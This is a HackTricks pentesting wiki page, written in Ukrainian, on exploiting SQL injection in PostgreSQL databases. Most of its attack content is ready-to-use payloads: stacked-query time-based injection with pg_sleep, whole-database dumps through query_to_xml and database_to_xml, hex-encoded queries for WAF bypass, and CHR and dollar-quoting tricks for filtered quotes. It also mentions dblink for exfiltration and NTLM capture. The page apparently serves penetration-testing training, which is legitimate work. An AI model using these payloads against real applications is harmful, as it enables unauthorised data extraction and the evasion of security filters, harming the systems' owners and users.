PostgreSQL injection

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, виявлену в базі даних postgresql, і доповнити трюки, які ви можете знайти на https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

Модуль PostgreSQL dblink пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю COPY FROM, дозволяють виконувати дії, такі як ескалація привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як виконати ці атаки.

Ви можете прочитати цей приклад, щоб побачити приклад CTF як завантажити дані всередину великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача функції dblink_connect.

PostgreSQL Attacks: Read/write, RCE, privesc

Перевірте, як скомпрометувати хост і ескалувати привілеї з PostgreSQL в:

5432,5433 - Pentesting Postgresql

WAF bypass

PostgreSQL String functions

Маніпулювання рядками може допомогти вам обійти WAF або інші обмеження.
На цій сторінціви можете знайти кілька корисних функцій рядків.

Stacked Queries

Пам'ятайте, що postgresql підтримує стековані запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати стекованими запитами через Time injection:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML трюки

query_to_xml

Ця функція поверне всі дані у форматі XML в одному файлі. Це ідеально, якщо ви хочете вивантажити багато даних в один рядок:

sql
SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ця функція вивантажить всю базу даних у форматі XML всього в 1 рядку (будьте обережні, якщо база даних дуже велика, оскільки ви можете викликати DoS або навіть вашого власного клієнта):

sql
SELECT database_to_xml(true,true,'');

Strings in Hex

Якщо ви можете виконувати запити, передаючи їх всередині рядка (наприклад, використовуючи функцію query_to_xml). Ви можете використовувати convert_from, щоб передати рядок у вигляді шістнадцяткового коду і обійти фільтри таким чином:

sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Заборонені лапки

Якщо ви не можете використовувати лапки для вашого payload, ви можете обійти це за допомогою CHR для базових клауз (конкатенація символів працює лише для базових запитів, таких як SELECT, INSERT, DELETE тощо. Це не працює для всіх SQL-інструкцій):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Або з $. Ці запити повертають однакові результати:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks